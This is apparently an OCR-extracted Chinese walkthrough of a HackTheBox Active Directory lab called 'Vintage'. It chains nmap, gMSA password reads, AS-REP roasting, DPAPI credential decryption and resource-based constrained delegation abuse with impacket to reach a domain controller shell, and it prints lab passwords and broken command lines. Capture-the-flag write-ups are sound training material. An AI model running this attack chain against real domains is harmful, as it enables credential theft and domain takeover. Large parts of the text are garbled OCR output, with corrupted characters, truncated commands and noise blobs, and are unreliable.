XA windows 517
—JFUEH MET nmap 4

Host is up (@.24s latency).
Not shown: 65518 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

53/tcp open domain Simple DNS Plus

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-04 9:14:537)

135/tcp open msrpc Microsoft Windows RPC

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb®., Site: Default-

445/tcp open microsoft-ds?

464/tcp  open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.@

636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb®., Site: Default-
3269/tcp open tcpwrapped

5985/tcp open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)

| http-title: Not Found

| http-server-header: Microsoft-HTTPAPI/2.@

9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.8
49683 /tcp open msrpc Microsoft Windows RPC
50220/tcp open msrpc Microsoft Windows RPC
58007/tcp open msrpc Microsoft Windows RPC

Service Info: Host: DC@1; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security mode:

| 3:1:1:

|_ Message signing enabled and required

| smb2-time:

KN 88 uiig I P, XARA]HEAZE kde # domain ML, [EESFFHCT Idap, smb Alk%% .

TENLE R 45 T — AN H P HOIK P %669 P.Rosa / Rosaisbest123

R nxe Bt

Eox s, {H27 LA # domain 42 vintage.htb

Google R ILX A 1R AT BE /& kde 22F T NTLM AIE, XA nxe BIERIAAIE a8, sERR b
windows server [FJERIAIAIE 77 30 J& Kerberos, R A i H T protocol transition 7 8¢ FH NTML 15
] 75 2 Kerberos NIERI RS, A2 T ZIRMG, SR XK 7 protocol
Transition J& < .

2R Kerberos AIE:

ge.htb) (domain:vintage.htb) (signing:True) (
Rosaishest123

L F KR



B2 ROk (S BNEE AT
HE1E Jetc/hosts RN dcOl.vintage.htb,
NG |dap I FTA A P

isbest1

XEAJUMBEBIIH T xoxxS,sve_xxx,gMSA0LS, 1A xxxx_adm, — MNKE FHI1X L H F 1)
21 description:
DCO1S:

DCO1 & domain controller

FSO1S:



;;;;;;;;

fs 7& pre2000 A/, /&7E windows2000 HH T 7, ERE BN Z ISR I e /NS )
ﬂﬂ)ﬂfé fs01:

de_ Authenticated to Kerberos w5

N E M S KIS E XA, XK 2R T computers CN, A DUME R B M H S /) ACL
BB ) computer, BREIANEELZEEH.

H P 44 svexxx J& T serviceaccounts, F ' gmsa01 J& T Managed Service Accounts,C.Neri J& T
serviceaccountmanager, xxx_adm J&T delegated admins

B RFTE T MR P2 B AR R R
Servicemanager X serviceaccount L5 KEE AR, LA sve_sql Al

rs

A delegated_admins [ ACE:



th ACELL]
th

Xxxx_adm XX group G 5 &M IR

SRR PR I F A B SE i —

SeBRAENTHEE A EH, HAETA fs01, P.Rosa, HAIT L2k 2 R —FH %A 7 LB
B
T fs01 BA RS — SRR, FH £s01 K5 5k #% 2% msds-managedpassword J& 1 :

> NTLM

SR B T, £ grep AXER I & gmsa01 [ ntlm HASH, ABAFRATHATLL pass the ticket
SKFREL GMSAO1 11 TGT, GMSAO1 3l /& servieaccountmanager

WAE G B2 15 2 DA Rl B 8 e 2

B 4%, protocol transition(PT) & 5% ] 1), Bl il S4U2self 7K3zE iR [B] K& ¥ forwardable flag H]
JUAE 44 Bk 772

(ref https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained)

Ho LA AT AT P11 42 KCD i1 RBCD ABUSE Ijj KUD 5 25 1 s SR A 7 £ 57 7] service,

B2 = AUR A P RATH B — 0%, SRR RLE GMSA0L T,

KA E R, KCD 75 2 msDS- AIIowedToDeIegateTo B L BN 5 BT I 1) service GELH 2 S

FRFH P 1) SPND, {H 2

distinguishedName: CN-BCKUPKEY_PREFERRED Secret,CN=System,DC-vintage,DC=htb

vintage.htb fs01% fso1 t dc@l.vintage.htb get search —attr msDS-AllowedToDelegateTo

XSEARACE N, L N —Fh RBCD ABUSE, &5 A4 ?
S 1% 5k M R B



https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained)

I he tollowing diagram Iillustrates this scenario:

: : Service B Domain Centroller
Attacker
I

|
The attacker compromises Service A j

and the DACL to configure resource-based
constrained delegation on Service B

I

|

|

|

|

|

| The attacker configures resource-based constrained delegation
| from Service A to Service B
L ]

|

L

A 4

$4U28Self for Administrator

A 4

Lz Non-forwardable TGS for Administrator to Service A
< T

|
S4U2Proxy for Administrator to Service B
|

| TGS for Administrator to Service B
.

A 4

|
|
|
|
|
|
|
T
|
pl
| |
|
‘
|
.
|
‘

&

| |
The attacker can pass-the-ticket to gain access to Service B |
I =l
| |
| |

B I N T I A

EIR=RIRA R

S4U2self: FERARSS (EH spn) #RWILABERT [A] kde K& SaU2self R, XFhid R & 2

“HEREZEANHPUFRIEC”, T TrustedToAuthForDelegation, UserAccountControl flag
EMPE, 2, MR PTRIZAFFRE, 5E LERIAMENMBERERE, X MG
SRETW RN, CEA X HAPRIRS B ST) A2E 4 forwardable flag, /2 iiiXA> STEZ G
S4U2proxy & o F I (kdc N2 iR [R5 %4 ST). (forwardable flag ¥ 52 H br il 55 & 7 852 1IX A
ST

S4U2proxy: X ME K T E—1 service i —> B forwardable flag 1] ST G# ¥ /2 i@t
S4U2self SRAFM]), kdec IR[EI—AN ST, RVFIXRANRS L2 AT ST ek M P Ui e
45, #HAa)iEive, A admin, S1 (service), S2(45HUIRSS), IBALESLHF)H T PT,RE T
FASE B 1k (R A%, S117) kdc 153K ST(admin->s1)  (iX#L A& S4U2self), 45, S1 [ kdc iR
ST(admin->s2),7#7 - Z A7) ST (admin->s1) E4 addition ST, FilEf2) kde (752 forwardable
WH, BFRE SIH R E | allowtodelegateto) 2R [A|— > ST(admin->s2)  (IXFf /& s4u2proxy,
proxy Bi/& 20, #)a s1 A LLZEANSNIE admin 2505 ()15 I B 3RS 2517 ] s2

RBCD abuse I&%E@Eiﬁ' , S4U2proxy A K75 5 forwardable % B, 7%

S1 # & T allowtodelegateto, {Hj & ms2012 2 J5 H ¥ T —Fhiy4i RBCD HIIhRE, HE s2 ¥
B T msDS-AllowedToActOnBehalfOfOtherldentity &%, 1i 7 s1 1) nt-sec-desc, (H4%FE M
#A, HPEE 110 sid), IBAWE s1 7E[H kde 1Y s4u2proxy K HH7 T rbed bit, B4
Tt 2 I3 4 forwardable Bi# s1 A% allowtodelegateto, kdc 24552 s4u2self [¥) st, FF Hik
[5]— ™ forwardable 1) st FI 7517 s2. 5



1. s1 A HCOKRIEN L rbed bit G K, I, Ko 3 75 B4 156 s1 K 7 I6E 77, H impacket
(1] getST IR, XA bit 24 H AW E RBCD ABUSE
2. 1] kdc iR IN Y s4u2proxy 15 3K &2 i [A] forwardable 1] st

(https://eladshamir.com/2019/01/28/Wagging-the-Dog.html#serendipity)

FRE— TR BB TR, BT Lk R

distinguishedName:

distinguishedn
msDS-All dToAc

distinguishedNa

/& delegatedadmins, i 2, WIREEIEIEH]— delegatedadmin, FATTW] DL E RIS &
URR

1) (domain:vintage.htb) (signing:True) (
1 1

_plus with the following options:

True
['print§",
‘ico’, ‘lnk

dc@l.vintage.htb.json".

THUE AT, B ARGIREEIE, HERE S EANTH, AP RZ, 1 I GE#E A2,
AFAE— PRI ASREPROAST 1 /518, XFRTVERI IR PR, X T 7] PATE object ) uac X % ik &



DONT_REQ_PREAUTH i 1] ' (0x400000), 71 ] JIit 5% % & A2 AS_REQ [T 5% Al 55 8% A~ 2 B IE /&
TR T IER 2R B e, WIS IR S48 3CFF RCA IN% (T as_req $85E), WA s
FH NT HASH 1% —4> nonce K nl3k. K.

KRB_AS REP
‘ Username | iod
' | Username |‘

‘ Session key . | Session key |

‘ TGT expiration time | TGT expiration time | | =

‘ User nonce | PAC ‘ B | 3 - -
User S — | KDC (DC)

| [ aj. User hash L a | krbtgt hash |

IX/ user hash il A] A2 2R 1%, F hashcat B5# jonh the ripper, 7 #Hi# % ] rockyou.txt

BATHI H bR EI AT L E DONT_REQ_PREAUTH FIIK /7, #ef)ifid, BT EAKS, Xf—
Hik P HA wite R, XAK S H AT R B2 GMSA0L, #t B — JF 46 ¥ 1Y
serviceaccountmanager X service account EH SR, serviceaccount LA svc 3k, 1M gmsa01
A DA R P R 2 B AR AU, TR L FRATT 4 — /N H P #2811 21 serviceaccountmanager |, A5
PAST B Y B 3 iX 85 serviceaccount B AH N flag, X 1] LLA bloodyAD K58 k.

Je3k13 GMSA01S[) TGT:

lp 10.18.11.45 "vintage.

TR B R B GMSA H O % 8113 serviceaccountmanager ZH S ALUAN 2 4k & 31X N 2H I RLBR
{22 H P.Rosa 8 # fs01 #B I LA:

1 10.10.11.45 add groupMember s
f501% added

: ~host se1$’ —p 'fsel’ - -dc-ip 10.10.11.45 add uwac —f DONT_REQ_PREAUTH 'svc_ark
1 ['DONT_REQ_P ags to svc_ark's userAccountContrel

' fs@1' - dc 10.10.11.45 add vac -f DONT_REQ_PREAUTH 'swvc_sc
rAccountControl

ip 10.10.11.45 add vac -f DONT_REQ_PREAUTH ‘svc_ldap

1 ['DONT_REQ_PREAI e fl ed t s untControl

S userlist:



users.txt

I JUTAE 7, FaBRtnr b, HSuX BN P R ER R, i fso1, HiEAHE
BT, FEIR sve Ik
1§ netexec Z=3k15 asreproast ] NTLM hash IN#5 (1354, Ja4EH] jonh the ripper 25405

gning:True) (

KEAMEE K, BRIREMATLL, RERI sve_sql AW T, HSRXAMK A HEEM T

,DC=htb

userAccountControl: 4260354 £] hex & 0x410202



Property flag Value in Value in

hexadecimal decimal & Trair

SCRIPT 0x0001 1 Module

Secure W\
ACCOUNTDISABLE 0x0002 2 Protecty

user accc
HOMEDIR_REQUIRED 0x0008 8 —
LOCKOUT 0x0010 16 T

Microsof
PASSWD_NOTREQD 0x0020 32 Asoiiat
PASSWD_CANT_CHANGE 0x0040 64 Demonst

moderniz

and impl
You can't assign this permission by directly modifying the UserAccountControl
attribute. For information about how to set the permission programmatically, see the
Property flag descriptions section.

I Doct
ENCRYPTED_TEXT_PWD_ALLOWED 0x0080 128

ms-DS-U
TEMP_DUPLICATE ACCOUNT 0x0100 256 Win32 a

msDS-Us
NORMAL_ACCOUNT 0x0200 512 userAcco

additione
INTERDOMAIN_TRUST_ACCOUNT 0x0800 2048

ms-DS-U
WORKSTATION_TRUST_ACCOUNT 0x1000 4096

Indicates
SERVER TRUST ACCOUNT 0x2000 8192

[MS-ADT
DONT_EXPIRE_PASSWORD 0x10000 65536 The users

various g
MNS_LOGON_ACCOUNT 0x20000 131072 i

KT A R T, FUEAK, AR LS, & HIAT Bl
ENEELER, HUNLA B EERUR A, — B et B 3hie1T k.

10.10.11.45 remove c_sql -f ACCOUNTDISABLE

SRR ACHURE E R A — I IR T

htb -u users.txt roast. txt

t salts (krb5asrep, € 5 AS-R e e 17/18 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES

XA B EER T, BT RE— serviceaccount, rbed abuse 3R A — N AR
%5 I¥] msds-allowedtoactonbehalfofotherentity & & AR 55, BT LIS AT 2 ER, A, &
fITAT LA usertxt 25— NE A HEH P AE %2 —FE1, PRosa Ml fs01 tHA] PA—i2ik
K, mASRI CNeri 2 XA, XTI HSCAE htb 25 ILT



TPAL_UNKNOWN
_C_PRINCIPAL_UNKNOWN

_PREAUTH_FAILED

ERR_PREAUTH_FAILED

:_PREAUTH_FATLED
_PREAUTH_FAILED

:_PREAUTH_FATLED

4152 C.Neri / ZerOtheOne, . XN B A H? BFE:

s, DC=vintage, DC=htb

htl CN=Remote

cd

cd Desktop

ANEH] impacket 1] psexxec B{# winrmexec, T AI14 HAERE smb, 2A R A @l

B R BURSET
PR KB AR BRI RAT STAH P HR T T S EAENLR AR (Bek il ek, =



FE A AHEFE R .
AT whoami /priv /R £k LXK & MEABR A 7, (28— T C.Neri H 7 1 S0 Je 2 R B
roaming N ZARPEH:

Length Name

t-ChildItem -Force

Directory

9684 4A5C9DD45D5BBAT8S

et-Location], ItemNotFoundException

JBAB

Windows A —/MLl, RATEHEFE LN G HIIES K %00, SEhr eI HHE PR
RSA keys % J5 A7 AE credentials H3& T, TMIXLE RSA keys # I 7E protected H 3% T H{sid},
AR TN 1) RSA KEYS, 22 — Mk (Y master key RIS FR%EH, 1T DAfR%
RSA IFAEH, DA, Xt protected BHF A ViAMIR, HEABFZHFL, BREW FEE L&
BURBE:

Protected Data by DPAPI

Among the personal data protected by DPAPI are:

Internet Explorer and Google Chrome's passwords and auto-completion data
E-mail and internal FTP account passwords for applications like Outlook and Windows Mail

Passwords for shared folders, resources, wireless networks, and Windows Vault, including
encryption keys

Passwords for remote desktop connections, .NET Passport, and private keys for various
encryption and authentication purposes

Network passwords managed by Credential Manager and personal data in applications using
CryptProtectData, such as Skype, MSN messenger, and more

Hodrght o] ge B 45 H B H P IR S s Y
( https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extr

acting-passwords)

TR SR P A



this machine

ta\roaming\micre

%ﬁﬁ download ZHI 10T 459%, FH base64 gutd Jo 55 il 21 A Hh -

appdata\roaming\n:

eri\appdata\roaming\n:

3\appdata\roaning\microsoft 5-1-5-21-40243 2033394866 1
ngwmumnnmsuzgnwAnwAamcquyAnmgumnanvgammqmanmAmm\Angmwnmmmmmmw AARAAAAAAB
3 Fu0s Lxorg+a9CGghhopa QHZLd6ShY3 ) ) 1AHJ6047Gh
P LFyTcsLVGKHQRV3PUI1GSeC604xcQUXT43XddW FZ3t FF1yLQOSNWFDKDAGQ1 F3yTL
KT E20x29B02RS00QS ONWUTWTHQU4 S8y 0ZKHa RIS ohgUYDZiL 4 1G53 Le7/ IXSpPOUKLCSKwL3VaHIGSKOGD3 307 0B/ OLTS TSt AXHF 2VE T sCAUXSARKVSekUDN3 SKg27 12K V0L

nt -Path .\4dbf
t]:: ToBas

ks13CkP8UITODEC)

G2 J02FD3xFi10aT b ToL ez B RGIDNKE JAPI293212HGUns/ 4o/ Hkop e k1 g
U: 3

gMMMMMMMDQASAEMAZgABADEAVQAzA(ﬂAvQA]ADUAMgMAnquwEmAD:ALQEhADgAZAAzA(GAYQEjAEEANgEkABYAZgAzAm\AA\wASAEI SBZINNNSSpEKEXORCH1BGAAJGAMAALVAABAMIL X6/ 4 ORYL
|/ac+dw/psoa SEnZNSU/ 70BNk TpAUFSICCSCUPICIIGYTapoANLIL EtEJenvpgicas "Zerj1gTA(/csthWEEl/WVDZ

1jrsanzy 2v; rd12iTN9Q1THIQtnYE}
Nmuvewrwnpqrnsn)nsFixKngHKDVSiBmsu/mj Z\'a/(rsKws1aG7EkIXhRK1EgukAwnSnZ\UEVanDﬂEqRDz(R]Dmy(JKFyZdth]Ntskhgnukm U ru26/D1a3 MiCw 520 VHB A oW

oz
msmwgesejwf&/DvcvywasvusstuwgkqhkuszwumeJwaMp\y/zve\\Kusqi/ssgankAL
Users\C. Neri\appdata\roaming\TACrosoFE\protect\S-1-5-21-40 2 66-2055507597-1115> Il

-
z hacker@ali:-/Desktop.
File Actions Edit View Help

~/Desktop

b-4blc-béa 4feBAToht, eeeee-PeJePF  feRe)? (eecifoshiel ee;eieeedffe(oteseossseg|ofere

ToNLalessorokpeameLeisserstert aftee Meh\5e)R" euDede<Geceeoves: ebe/oTSe!
NoNo?[ALove VOE"yes USYeoxeYFa2es00eePe\ove. ;o 1iisyezoE00e Beesiie;oRe. oP_;5;RE7ESIeKS, 74DQYSSFKD s000z00:

coseseolio\qe ;e

6ose_TosPF
LEeeh/seseessleliooseye
DoreselestSesesTezeepeTueshRessT o/oeeeeYoreeT>oCoQ0qu\00 000 19PF ofbe  xisesYeo
0300301700450 0HCATOUU=0=050 9004k 000" deToseoeXerneesEeSULssse  EFoLose
cel-esles eofeeeeqsenfosesressegesh;Ctol
SLoDeqoBresssresBeikoush¥ees\HDOS20ss  “eeeFs_seeogHEee0ese: "ee52q50eeep)BI0
oVes"IoH. o

Sof7" (\owoeez)oro000eVesceeessoG  ireousoxgeye:

~/Desktop




)-[~/Desktop

I’uplr. Len: 00000068
edHistlen :

en: 00000068 (104)
edHistlen :
Domaink

Decrypted key with User Key
ypted 0xf8901b212

s is disabled due to ruby . proc() function is unimplemented on this machin

\Users\C.Neri\appdata\roaming\microsoft\
Neri\appdata\roaning\microsoft\credentials> Get-ChildItem -Force

\roaning\nicrosoft\credentials

Length

430

y IAAAAABTAAAKAAAAAQAAAAK+ZRTF7v +bP
CL4UAAAAI su\"s,rljlhbye‘rwlv bc umammw"‘ﬂ leM\rﬂ F0J/Za2 2 Q9 xh8mbvDPV+XHWI+06DabZifdf j+G
uv-\F.‘)niDMLv\rSm 'UgHZ6 hH kDus’ QsIAtULBS! w1G7xdGI57BGKi4LEKGKU: E\'mp, 1 XBQAAAE r; hk)
\Users\C.Neri\appdata\roaming\nicrosoft\credentials> ||

~/Desktop

~/Desktop

rnuuu]o :Enterprise Crede
.....L sessaDeseshyTese TenGersuscons
oxice eodeefese]KEore[onees\oyrosoressssfioces. o, segBopesesizos’ poeaiaste

eoiebleseker/e
eeveraleges

{beesgeke])e’ eosEroseRecs(se

ANFITEWRAS PR RN T, Al — Nl

~/Desktop
dential -file secret 0x55d51b40d9aa74eBedckbabe 451449229739a1c9d!
.12.0.dev1 - Copyright 2023 Fortra

Padding is inc
0xf8901b2125dd10209d9 665624 F2e68e89a4 78b48a37F510df01418e68b283c6 93566244348 2f1bc8 b2d763191e

[CREDENTIAL]
Lastwritten
ED_FLAGS_REQUIRE_CONFIRMATION | CRED_FLAGS_WILDCARD_MATCH)

_GENERIC)
Generic: target=admin_acc

vintage\c.neri
Uncrackibl3P4sswordo

312

~/Desktop

TRNAR T —MHPEN, XNHPARTREERH P, GEfEE % 7 %202 remote
M evil-winrm

manager 4., local admins, domain admins J:/H2—),

-htb [+] Response

.htb

.htb

.htb N=C.Neri_adm,CN=Users ,DC
.htb

.htb

888888

8

8888888388

userAccountContro
badPudCount

000000051 S 8d8 4040000

Neri_

N
41213141658.02 260101010

i sers, DC=vin;
dcol.vintage. ht! tCl ionalPerson user




Z ATt delegatedadmins Al dcO1 [ % £, delegatedadmins 7] LIS R AR f[IK /2295 [H] dcOl
MR A MR %, W 2 RBCD ABUSE #t ml LA T, {H /% delegatedadmins A & {4 2 5 SPN
(serviePrincipleName) ,AN%R kdc 24k 4, C.Neri_adm A& 2% A XA @R L EED,
IFRATFE ZARIMET I A @Y, — B 7 XA @M, AT A 7k H P B P 2507 15
DCO1 k%5, H1T DCO1 /& domain controller, IX/NMEEALZ IR, DKt at ol LG i) BT 45 45
RS, AR, XIEAREEEEE R root AR, (HZ& PTG DCO1 [ CIFS, iX /& smb [1)5-
HARRAS, FATAT LA root BV M ALPR 552 HX cSH T root.txt (W4T T powershell, #H2%4T
SR TAE smb HIE NI B AL PRD o
H2, 22845 C.Neri_adm H TN SPN 2= 5K

Err: DSID-03151483, problem 4003 (INSUF

C.Neri_adm X H A H read BLR:
e e

htb ACE[22

ALR):

m#E, H self:
Perform "Validated
writes" (i.e. edit an
attribute’s value and
Access have that value verified
Self ADS_RIGHT_DS_SELF . .
Right and validate by AD). The

"Validated writes" is
referenced by an
"ObjectType GUID".

Sefr B, Z AR F)d, servicemanagers X serviceaccount H EALR, H Pt @G self (Hsk
XA self):

mins (S-




WAEA S T, A delegate flag HIF] /¥ SPN, BEUSMN SPN R FH F ANTE delegatedadmins
LN

fH&, FATPTLLA C.Neri X} serviceaccount ¥l SPN (BETENY424 ), #RJ5H C.Neri_adm
7 3| delegated admins 4, X £ 5t 7 LA H iX 4™ serviceaccount 5Z ¥l RBCD ABUSE( X 4
serviceaccount W.i% 2 & sve_sql, KINERATT R H1IE © 12 1) .

10.10.11.45 ~d vint tb -u c.neri_a c add groupMenber °C

— - [~/Desktop

B35 162 A 5 F ) sve_sql i BE & -

10.10.11.45 | c sql -f ACCOUNTDISABLE

|-[~/Desktop]
- init -V swvc_sql@VINTAGE.HTB
Using default cache: GMSA@1%.ccache
Using principal: svc_sqgl@aVINTAGE.HTB
Password for svc_sqloWINTAGE.HTE:
Authenticated to Kerberos w5

. ! |-[~/Desktop]
PATZACKRME LT 17 deol 1 cifs We ?

R SRR A F 5 administrator, dc01, L.Bianchi_adm(domainadmin)Z —, L administrator
VoKL E

KRB5CCNAME
-impt administ ip 10.10.11.45 -no-pass - / S hedne
nd its affiliated

he file is not found. Skipping...
TGT f T

ion. Use timezone-aware objects to rej

* DeprecationWarning: da emoval in a futu sion. Use timezone-aware s to represent datetimes in UTC:
now() + datetime.timedelt

: DeprecationWarning oval in a future version. Use timezone-aware objects to represent datetimes in UTC:

- Use timezone-aua jects to represent datetimes in UTC

B getST #/rwi /& sdu2self+sdu2proxy [MAERHRAE . SREL ST 5, wILAUTIA) cifs A% (3
&, HBEVTIA cifs RS, 1X A& st fl TGT [IX HD. Cifs /22T smb, AT LA smb RAE CSiE
HY root.txt,{H & b UM T, K1Y administrator A& #2515 7/5 7] cifs [#), DCO1 tH&—FF
1, {HJ& L.Bianchi_adm AJDL:

ime.now(d

datetime.datetime.now(d

datetime.datetime.now(d

atetime.datetime.now(d




WARNING:
Try "hel

Impacket

LLC and its affilia

[*] Inpersonat:
/home/hacker/ .

ionWarning
ime. timedelt;

ionWarning

fs_dco1.vint:

neb/cs
The optio is depre d!
"'to get a list of possible comands.

Information

tionWarning:

ed companies

dat.

10.10.11.

.utcnow() ated and scheduled for

.utcnow() heduled for

.utenow()

utenow() is deprecated and scheduled for

Zerot!

represent




ME=L.Bianchi_adm dc@1.vinta NTAGE.HTB.

F\IAHE INVALID npa e f rs\Administrater\Desktop\root.txt
\Administrate

%%JZTJJ:—I PLEEUCSCAY, Smbexec I8 AE A smb RS FENT cmd.exe $04T, ARV ZE N
ft4 cifs @I smb Iﬁ:f’éﬁ? @%b&f L /\#MT

et vd. Copyright Fortra, Coa its affiliated companies

Launching semi-interactive shell Care l what yo ute
indows\s

Jﬁfi% Smbexec I T smb HISIP & iE 7)1 FE windows ARS5 %8 EyE MRS, XAMRSS Bl 4
WU RRAIHLES RIEH$E 2 FF HH cmd.exe 4T, RG4S RAUTE ¢\__output, smbexec 21
B H B REE R, EITH 7 shell —FE, G52 1E 5 XA SO 21 i 44

(https://www.cybertriage.com/blog/dfir-breakdown-impacket-remote-execution-activity-smbexe

c/)

ZAAEHL smb 248 1

JE RIS B AR A%



bloodhound-python --zip -u P.Rosa -p 'Rosaisbest123' -d vintage.htb -c All -dc dc01.vintage.htb

Found 1
Found 1
Found

Found
Found
Found
Found
Found
Found

ince it could not be

bloodhound.zip

BloodHound

A W Y
Analysis

Pre-Built Analytics Queries
SVC_SQL@VINTAGEHTB

Find Kerberoastable Members of High Value Groups
Listall Kerberoastable Accounts
Find Kerberoastable Users with most privileges

Find AS-REP Roastable Users (DontReqPreALth)

Custom Queries #
No user defined queries.

SVC_LDAP@VINTAGEHTB

SVC_ARK@VINTAGE HTB

Raw Query

Asreproast —IRUE LK 1., 8 TR AR 2 20 A (R A

YRt.2> % % L.Bianchi_adm A5 dcsync FURLIR, (H2¥% 44, YRR A LBianchi_adm X cifs
) ST, VilA T RPC [#.



